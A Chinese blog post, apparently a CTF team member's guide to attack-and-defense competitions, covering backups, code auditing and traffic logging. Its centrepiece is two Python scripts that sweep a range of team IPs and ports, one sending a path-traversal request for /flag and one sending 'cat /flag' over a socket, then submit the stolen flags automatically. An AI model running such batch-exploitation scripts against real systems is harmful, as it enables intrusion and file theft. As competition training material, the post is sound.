0x01 写在前面

其实参加A&D模式的比赛蛮多的,但是一直没想写~

这次打的成绩还不错,就写一下我的经验吧~

后续如果大佬给了新思路将会及时更新的😊

0x02 文件备份

无论是Web方向还是Pwn方向,对于环境的备份都是最重要的。

无论是因为自己在修复过程中导致的无意间Check Down还是因为被恶意攻击导致的Check Down,如果我们有源文件,我们都可以进行应急恢复,防止宕机导致的大量扣分。

注意⚠️:在大部分比赛中,Check Down扣分会非常的多,一般是宕机失分要大于被全场攻破失分,并且你的失分会被均分给其他的服务正常的队伍。(而不是像少部分比赛,宕机都不痛不痒)

此处要特别防备自己的站被攻击者恶意删站,并且尤其要做好数据库备份,在某次比赛中,我们就是被删除了数据库导致整站恢复也没办法顺利的恢复服务😭

Pwn的备份自然就是源文件备份即可与Web的源文件备份相同,使用FTP工具即可。

Web的数据库备份命令为:


0x03 白盒自动化代码审计(仅Web)

话说哪位大狮虎有PWN的白盒审计工具请发我一份谢谢🙏

源码备份之后就开始进行自动化的Web白盒审计,此处可以先用D盾做快速扫描,及时修补后门,之后配合Seay源代码审计工具扫描后续可疑点,也可以配合Nessus做简单的黑盒漏扫~

0x04 Pwn文件常见漏洞识别

主要做一下常见的漏洞函数识读,查找栈溢出的常见点,各种I/O函数等危险函数,确定漏洞存在可以先尝试修复,修复漏洞可以参考我的另外一篇文章关于于二进制文件的patch方法

0x05 批量化攻击&自动化提交flag

这里这是我本篇文章较为核心的地方,下面给出两个脚本,大佬也可以予以改进~

这是WEB下的批量脚本~

#encoding:utf-8
import requests
script_DEBUG=False
def submit_flag(flag,web_mode):
    if web_mode == 'post':
        headers={
            'Connection':'keep-alive',
            'Content-Length':'53',
            'Pragma':'no-cache',
            'Cache-Control':'no-cache',
            'Accept':'application/json, text/plain, */*',
            'Origin':'http://172.168.1.25',
            'UserAuth':'eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6IkVSUk9SNDA0IiwiZXhwIjoxNTc1ODMxNzk5LCJhZG1pbiI6ZmFsc2V9.9y1-jlHU20xCYRNcsVGUKn3QJ_-Zqys-fPpSaNZRtO4',
            'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36',
            'Content-Type':'application/json;charset=UTF-8',
            'Referer':'http://172.168.1.25/dashboard/isooncup',
            'Accept-Encoding':'gzip, deflate',
            'Accept-Language':'zh-CN,zh;q=0.9'
            }
        cookies={

        }
        payload={'flag':flag}
        try:
            respose=requests.post(url='http://xxx.xxx.xxx.xxx:xxx/submission/commit',headers=headers,json=payload,cookies=cookies,timeout=10) 
            if script_DEBUG:
                print("\033[1;33m%s\033[0m" % ("[DEBUG]提交flag时,服务器的返回值为:"+respose.text))
            if(respose.json()['success']=='False'):
                return False
            else:
                return True
        except Exception as e:
            if("Max retries exceeded with url" in str(e)):
                print("\033[1;30;41m%s\033[0m" % "[ERROR]失去了与flag提交服务器的链接!")
            else:
                print("\033[1;30;41m%s\033[0m" % "[ERROR]发生了意外错误!!!")
                print(e)
        return 'ERROR'
    else:
        #请自行补充
        pass

def attack_1(ip,team_number):
    Problem_name="Web1"
    try:
        url="http://"+ip+"/blog/api/downloadarticle/?path=../../../../../../flag"
        headers={
            'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0',
            'Accept':'application/json, text/javascript, */*; q=0.01',
            'Accept-Language':'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
            'Accept-Encoding':'gzip, deflate'
            }
        cookies={
            'style':'qingxin',
            'csrftoken':'AhQdJVPyMxnecTxk2BqWG8KXrTER053d7ykXAQlKmlNR2X1doXJqOtQa6JH9uG3I',
            're_url':'http://192.168.7.93/admin/',
            'PHPSESSID':'6518ca917a5b5888b4acf2ae660c9ffe',
        }
        respose=requests.get(url,headers=headers,cookies=cookies,timeout=10)
        if script_DEBUG:
            print("\033[1;33m%s\033[0m" % ("[DEBUG]Payload发送成功!返回的结果为:"+(respose.text).encode('utf-8')))
            print("\033[1;33m%s\033[0m" % ("[DEBUG]编号为"+str(team_number)+"的战队的【"+Problem_name+"】的flag为:"+respose.text[1:8].encode('utf-8')))
        submit_status=submit_flag(respose.text[1:8],'post')
        if(submit_status=='ERROR'):
            return
        elif(submit_status):
            print("\033[1;30;42m%s\033[0m" % ("[Success]编号为"+str(team_number)+"的战队的【"+Problem_name+"】的flag提交成功!"))
        else:
            print("\033[1;30;43m%s\033[0m" % ("[Warning]我们所获取的编号为"+str(team_number)+"的战队的【"+Problem_name+"】的flag有误!"))
    except Exception as e:
        if("Max retries exceeded with url" in str(e)):
            print("\033[1;30;41m%s\033[0m" % ("[ERROR]失去了与编号为"+str(team_number)+"的战队的【"+Problem_name+"】的环境的链接!(疑似恶意闭站!)"))
        else:
            print("\033[1;30;41m%s\033[0m" % "[ERROR]发生了意外错误!!!")
            print(e)
        return

if __name__ == "__main__":
    # 不同队伍拥有不同端口的情形
    ports=[]
    for i in range(19):
        if i in [10]: # 白名单
            continue
        port='1'+str(i).rjust(2,'0')+'80'
        ports.append(port)
    # 不同队伍拥有不同ip的情形
    ips=[]
    for i in range(256):
        if i in [10,11,12]: # 白名单
            continue
        ip='192.168.'+str(i)+'.1'
        ips.append(ip)
    unchange_ip='192.168.100.100' # 不同队伍拥有不同端口的情形
    unchange_port='10180' # 不同队伍拥有不同ip的情形
    # Attack
    for team_number in range(18):
        ip=unchange_ip+':'+ports[team_number] # 不同队伍拥有不同端口的情形
        ip=ips[team_number]+':'+unchange_port # 不同队伍拥有不同ip的情形
        if script_DEBUG:
            print("\033[1;33m%s\033[0m" % ("[DEBUG]现在开始攻击编号为"+str(team_number+1)+"的队伍,其ip为"+ip+"!"))
        attack_1(ip,team_number+1)

这是PWN下的批量脚本~

#encoding:utf-8

from pwn import *
import requests
script_DEBUG=False

def submit_flag(flag,web_mode):
    if web_mode == 'post':
        headers={
            'Connection':'keep-alive',
            'Content-Length':'53',
            'Pragma':'no-cache',
            'Cache-Control':'no-cache',
            'Accept':'application/json, text/plain, */*',
            'Origin':'http://172.168.1.25',
            'UserAuth':'eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6IkVSUk9SNDA0IiwiZXhwIjoxNTc1ODMxNzk5LCJhZG1pbiI6ZmFsc2V9.9y1-jlHU20xCYRNcsVGUKn3QJ_-Zqys-fPpSaNZRtO4',
            'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36',
            'Content-Type':'application/json;charset=UTF-8',
            'Referer':'http://172.168.1.25/dashboard/isooncup',
            'Accept-Encoding':'gzip, deflate',
            'Accept-Language':'zh-CN,zh;q=0.9'
            }
        cookies={

        }
        payload={'flag':flag}
        try:
            respose=requests.post(url='http://xxx.xxx.xxx.xxx:xxx/submission/commit',headers=headers,json=payload,cookies=cookies,timeout=10) 
            if script_DEBUG:
                print("\033[1;33m%s\033[0m" % ("[DEBUG]提交flag时,服务器的返回值为:"+respose.text))
            if(respose.json()['success']=='False'):
                return False
            else:
                return True
        except Exception as e:
            if("Max retries exceeded with url" in str(e)):
                print("\033[1;30;41m%s\033[0m" % "[ERROR]失去了与flag提交服务器的链接!")
            else:
                print("\033[1;30;41m%s\033[0m" % "[ERROR]发生了意外错误!!!")
                print(e)
        return 'ERROR'
    else:
        #请自行补充
        pass

def attack_1(ip,port,team_number):
    Problem_name="Pwn1"
    try:
        sh=remote(ip,port,timeout=10)

        sh.recvline()
        sh.sendline('cat /flag')
        flag=sh.recvline()
        submit_status=submit_flag(flag,'post')
        if(submit_status=='ERROR'):
            return
        elif(submit_status):
            print("\033[1;30;42m%s\033[0m" % ("[Success]编号为"+str(team_number)+"的战队的【"+Problem_name+"】的flag提交成功!"))
        else:
            print("\033[1;30;43m%s\033[0m" % ("[Warning]我们所获取的编号为"+str(team_number)+"的战队的【"+Problem_name+"】的flag有误!"))
    except Exception as e:
        if("Could not connect to" in str(e)):
            print("\033[1;30;41m%s\033[0m" % ("[ERROR]失去了与编号为"+str(team_number)+"的战队的【"+Problem_name+"】的环境的链接!(疑似恶意闭站!)"))
        else:
            print("\033[1;30;41m%s\033[0m" % "[ERROR]发生了意外错误!!!")
            print(e)
        return

if __name__ == "__main__":
    # 不同队伍拥有不同端口的情形
    ports=[]
    for i in range(19):
        if i in [10]: # 白名单
            continue
        port='1'+str(i).rjust(2,'0')+'80'
        ports.append(port)
    # 不同队伍拥有不同ip的情形
    ips=[]
    for i in range(256):
        if i in [10,11,12]: # 白名单
            continue
        ip='192.168.'+str(i)+'.1'
        ips.append(ip)
    unchange_ip='192.168.100.100' # 不同队伍拥有不同端口的情形
    unchange_port=10180 # 不同队伍拥有不同ip的情形
    # Attack
    for team_number in range(18):
        try:
            if script_DEBUG:
                print("\033[1;33m%s\033[0m" % ("[DEBUG]现在开始攻击编号为"+str(team_number+1)+"的队伍,其ip为"+ip+"!"))
            attack_1(unchange_ip,int(ports[team_number]),team_number+1)  # 不同队伍拥有不同端口的情形
            attack_1(ips[team_number],unchange_port,team_number+1)  # 不同队伍拥有不同端口的情形
        except Exception as e:
            print("\033[1;30;41m%s\033[0m" % "[ERROR]发生了意外错误!!!")
            print(e)

0x06 流量监控&流量分析

很多时候,主办方并不会给我们攻击流量,我们的环境中也不一定会有流量抓取软件~

那么我们需要进行自行设置流量抓取,对于PHP站来说,可以直接将Log.php引入。下面给出一个Log.php


PHP引入其他文件的命令为require_once(Log.php);

0x07 WAF(通用防御)(违规⛔️)

在A&D赛制下,是严禁上Waf的,一旦被主办方发现,将被处以扣分直至取消资格的惩罚,这里仅给出一个WAF的实例。


(所有缺失内容内容将等待战队Web手(Cardan@SourceCode、void@SourceCode、Leena@SourceCode)写相关博客后引入~)

分类: CTF

0 条评论

发表评论

电子邮件地址不会被公开。 必填项已用*标注